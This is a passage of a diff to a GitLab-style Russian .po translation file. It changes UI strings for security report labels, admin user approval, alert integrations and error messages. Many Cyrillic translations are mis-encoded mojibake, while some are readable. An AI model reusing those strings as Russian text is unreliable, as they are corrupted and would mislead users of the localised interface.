msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr "%{labelStart}КлаÑÑ:%{labelEnd} %{class}"
@@ -667,9 +674,6 @@ msgstr "%{labelStart}ДоказательÑтва:%{labelEnd} %{evidence}"
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr "%{labelStart}Файл:%{labelEnd} %{file}"
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr "%{labelStart}Изображение:%{labelEnd} %{image}"
@@ -685,13 +689,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr "%{labelStart}Сканер:%{labelEnd} %{scanner}"
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -724,9 +728,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr "%{listToShow}, и еще %{awardsListLength}."
-msgid "%{loadingIcon} Started"
-msgstr "%{loadingIcon} Запущена"
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -831,40 +832,13 @@ msgstr[3] "%{releases} релизов"
msgid "%{remaining_approvals} left"
msgstr "%{remaining_approvals} оÑталоÑÑŒ"
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] "%{reportType} %{status} обнаружено %{other} уÑзвимоÑÑ‚ÑŒ."
-msgstr[1] "%{reportType} %{status} обнаружено %{other} уÑзвимоÑти."
-msgstr[2] "%{reportType} %{status} обнаружено %{other} уÑзвимоÑтей."
-msgstr[3] "%{reportType} %{status} обнаружено %{other} уÑзвимоÑтей."
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -926,6 +900,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr "%{strongStart}Примечание:%{strongEnd} ПоÑле Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»ÑŒÑкого Ñтапа вы можете изменить порÑдок Ñтапов, перетаÑÐºÐ¸Ð²Ð°Ñ Ð¸Ñ… в нужное положение."
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] "%{strong_start}%{branch_count}%{strong_end} Ветка"
@@ -1033,6 +1010,9 @@ msgstr "Ðватар %{userName}"
msgid "%{user_name} profile page"
msgstr "Ñтраница Ð¿Ñ€Ð¾Ñ„Ð¸Ð»Ñ %{user_name}"
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr "аватар %{username}"
@@ -1051,12 +1031,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr "&lt; 1 чаÑ"
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1688,9 +1662,6 @@ msgstr ""
msgid "Actions"
msgstr "ДейÑтвиÑ"
-msgid "Activate"
-msgstr "Ðктивировать"
-
msgid "Activate Service Desk"
msgstr "Ðктивировать Ñлужбу поддержки"
@@ -2040,9 +2011,15 @@ msgstr "Режим админиÑтратора включен"
msgid "Admin notes"
msgstr "Заметки админиÑтратора"
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr "Ðктивные пользователи"
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr "Оплачиваемые пользователи"
@@ -2265,6 +2242,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr "Ðктивные"
@@ -2313,18 +2299,21 @@ msgstr "Заблокированые"
msgid "AdminUsers|Blocking user has the following effects:"
msgstr "Блокировка Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð¸Ð¼ÐµÐµÑ‚ Ñледующие Ñффекты:"
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr "Ðе удалоÑÑŒ разблокировать заблокированных пользователей LDAP"
msgid "AdminUsers|Deactivate"
msgstr "Отключить"
-msgid "AdminUsers|Deactivate User %{username}?"
-msgstr "Отключить Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ %{username}?"
-
msgid "AdminUsers|Deactivate user"
msgstr "Отключить пользователÑ"
+msgid "AdminUsers|Deactivate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Deactivated"
msgstr "Отключено"
@@ -2349,6 +2338,9 @@ msgstr "Внешние"
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr "ИÑпользует меÑто"
@@ -2385,6 +2377,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr "ВоÑÑтановить доÑтуп Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ðº учетной запиÑи, Ð²ÐºÐ»ÑŽÑ‡Ð°Ñ Ð²ÐµÐ±, Git и API."
@@ -2424,6 +2425,15 @@ msgstr "Ð”Ð»Ñ Ð¿Ð¾Ð´Ñ‚Ð²ÐµÑ€Ð¶Ð´ÐµÐ½Ð¸Ñ, введите %{projectName}"
msgid "AdminUsers|To confirm, type %{username}"
msgstr "Ð”Ð»Ñ Ð¿Ð¾Ð´Ñ‚Ð²ÐµÑ€Ð¶Ð´ÐµÐ½Ð¸Ñ, введите %{username}"
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr "Пользователь не Ñможет получить доÑтуп к репозиториÑм git"
@@ -2433,6 +2443,9 @@ msgstr "Пользователь не Ñможет войти"
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr "Когда пользователь в Ñледующий раз войдёт в ÑиÑтему, его ÑƒÑ‡Ñ‘Ñ‚Ð½Ð°Ñ Ð·Ð°Ð¿Ð¸ÑÑŒ Ñнова Ñтанет полноÑтью активной"
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr "Без проектов"
@@ -2442,6 +2455,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr "Ð’Ñ‹ ÑобираетеÑÑŒ окончательно удалить Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ %{username}. Это удалит вÑе его обÑуждениÑ, запроÑÑ‹ ÑлиÑÐ½Ð¸Ñ Ð¸ ÑвÑзанные Ñ Ð½Ð¸Ð¼Ð¸ группы. Чтобы избежать потери данных, раÑÑмотрите возможноÑÑ‚ÑŒ иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ð¸ %{strongStart}блокировки пользователÑ%{strongEnd}. ПоÑле %{strongStart}ÑƒÐ´Ð°Ð»ÐµÐ½Ð¸Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ%{strongEnd}, Ð½ÐµÐ»ÑŒÐ·Ñ Ð±ÑƒÐ´ÐµÑ‚ его воÑÑтановить или отменить удаление."
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2454,7 +2476,13 @@ msgstr ""
msgid "Administration"
msgstr "ÐдминиÑтрирование"
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2668,6 +2696,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2677,9 +2723,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2707,6 +2762,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2719,7 +2780,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2728,27 +2795,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2758,9 +2849,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2770,6 +2858,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2782,6 +2882,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr "ОповещениÑ"
@@ -2797,16 +2900,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2911,6 +3035,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr "Разрешить рендеринг диаграмм PlantUML в документах Asciidoc."
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr "Разрешить наÑтройку Ð·ÐµÑ€ÐºÐ°Ð»Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ€ÐµÐ¿Ð¾Ð·Ð¸Ñ‚Ð¾Ñ€Ð¸Ñ Ñопровождающим проекта"
@@ -3028,9 +3155,6 @@ msgstr ""
msgid "An error has occurred"
msgstr "Произошла ошибка"
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -3151,9 +3275,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr "Произошла ошибка при получении отчётов Terraform."
-msgid "An error occurred while fetching the Service Desk address."
-msgstr "Произошла ошибка при получении адреÑа Службы поддержки."
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr "Произошла ошибка при получении ÑпиÑка панелей управлениÑ. ПожалуйÑта, попробуйте ещё раз."
@@ -3187,18 +3308,21 @@ msgstr "Произошла ошибка при получении Ñтой вкÐ
msgid "An error occurred while generating a username. Please try again."
msgstr "Произошла ошибка при генерации имени пользователÑ. ПожалуйÑта, попробуйте ещё раз."
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr "Произошла ошибка во Ð²Ñ€ÐµÐ¼Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ Ñ„Ð°Ð¹Ð»Ð¾Ð² Ð´Ð»Ñ - %{branchId}"
msgid "An error occurred while getting projects"
msgstr "Произошла ошибка при получении ÑпиÑка проектов"
-msgid "An error occurred while importing project: %{details}"
-msgstr "Ошибка при импорте проекта: %{details}"
-
msgid "An error occurred while initializing path locks"
msgstr ""
+msgid "An error occurred while loading a section of this page."
+msgstr ""
+
msgid "An error occurred while loading all the files."
msgstr "Произошла ошибка при загрузке вÑех файлов."
@@ -3253,6 +3377,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3280,9 +3407,6 @@ msgstr "Произошла ошибка при визуализации проÑ
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr "Произошла ошибка при переназначении задач."
@@ -3313,6 +3437,9 @@ msgstr "При подпиÑке на ÑƒÐ²ÐµÐ´Ð¾Ð¼Ð»ÐµÐ½Ð¸Ñ Ð¿Ñ€Ð¾Ð¸Ð·Ð¾ÑˆÐ»Ð° Ð
msgid "An error occurred while triggering the job."
msgstr "Произошла ошибка при запуÑке заданиÑ."
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3331,6 +3458,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr "Произошла ошибка при обновлении комментариÑ"
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr "Произошла ошибка при валидации пути группы"
@@ -3517,6 +3647,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr "Применить предложение"
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3587,6 +3723,9 @@ msgstr[1] "Ðеобходимо %{count} одобрений из %{membersCount}
msgstr[2] "Ðеобходимо %{count} одобрений из %{membersCount}"
msgstr[3] "Ðеобходимо %{count} одобрений из %{membersCount}"
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr "Утверждающие"
@@ -3668,6 +3807,9 @@ msgstr ""
msgid "Archived"
msgstr "Ðрхивные"
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3719,9 +3861,6 @@ msgstr "Ð’Ñ‹ уверены, что дейÑтвительно хотите уд
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr "Ð’Ñ‹ уверены, что хотите удалить Ñто уÑтройÑтво? Это дейÑтвие не может быть отменено."
-msgid "Are you sure you want to delete this list?"
-msgstr "Ð’Ñ‹ уверены, что вы хотите удалить Ñтот ÑпиÑок?"
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr "Ð’Ñ‹ уверены, что вы хотите удалить Ñто раÑпиÑание Ñборочной линии?"
@@ -3774,6 +3913,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr "Ð’Ñ‹ уверены, что вы хотите удалить Ñту идентификацию?"
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr "Ð’Ñ‹ уверены, что вы хотите ÑброÑить Ñтот региÑтрационный токен?"
@@ -4052,6 +4194,12 @@ msgstr "ÐутентификациÑ"
msgid "Authenticate with GitHub"
msgstr "ÐÑƒÑ‚ÐµÐ½Ñ‚Ð¸Ñ„Ð¸ÐºÐ°Ñ†Ð¸Ñ Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ GitHub"
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -4172,6 +4320,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4460,12 +4611,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr "Улучшить"
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4490,6 +4647,13 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Blocked issue"
msgstr "Заблокированное обÑуждение"
@@ -4541,6 +4705,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4799,9 +4966,6 @@ msgstr "Купить минут Ð´Ð»Ñ CI"
msgid "By %{user_name}"
msgstr "От %{user_name}"
-msgid "By URL"
-msgstr "По URL"
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4829,6 +4993,9 @@ msgstr "ÐаÑтройки CI / CD"
msgid "CI Lint"
msgstr "CI Lint"
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr "ÐаÑтройки CI"
@@ -4925,6 +5092,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4952,6 +5122,12 @@ msgstr "Canary"
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr "Ð Ð°Ð·Ð²Ñ‘Ñ€Ñ‚Ñ‹Ð²Ð°Ð½Ð¸Ñ Canary - популÑÑ€Ð½Ð°Ñ Ñтратегии CI, когда Ð½ÐµÐ±Ð¾Ð»ÑŒÑˆÐ°Ñ Ñ‡Ð°ÑÑ‚ÑŒ аудитории получает новую верÑию приложениÑ."
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr "Отмена"
@@ -4985,9 +5161,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr "Ðевозможно проводить одновременно неÑколько импортов из Jira"
@@ -5129,6 +5302,9 @@ msgstr "ИзменениÑ"
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -5147,9 +5323,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5216,6 +5389,9 @@ msgstr "Проверить Ñнова"
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5402,12 +5578,6 @@ msgstr "Дочерней цели не ÑущеÑтвует."
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr "Выберите ветку/тег (например, %{master}) или введите коммит (например, %{sha}), чтобы увидеть, что изменилоÑÑŒ или Ñоздать Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние."
@@ -5441,6 +5611,9 @@ msgstr "Выберите файл…"
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5609,7 +5782,7 @@ msgstr "Метка клаÑÑификации (опционально)"
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5651,10 +5824,10 @@ msgstr "Приоритет очищен."
msgid "Clears weight."
msgstr "Очищает приоритет."
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5702,7 +5875,7 @@ msgstr "Клонировать Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ SSH"
msgid "Close"
msgstr "Закрыть"
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5711,9 +5884,6 @@ msgstr "Закрыть %{tabname}"
msgid "Close epic"
